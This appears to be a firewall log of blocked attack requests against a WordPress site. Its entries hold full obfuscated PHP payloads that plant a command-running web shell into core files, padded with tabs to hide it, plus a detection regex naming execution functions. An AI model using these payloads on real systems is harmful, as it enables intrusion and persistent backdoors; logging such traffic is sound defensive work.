%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:57:50","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-length:5201\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:57:52","163.172.31.86","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:5309\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\ndE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:58:01","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%2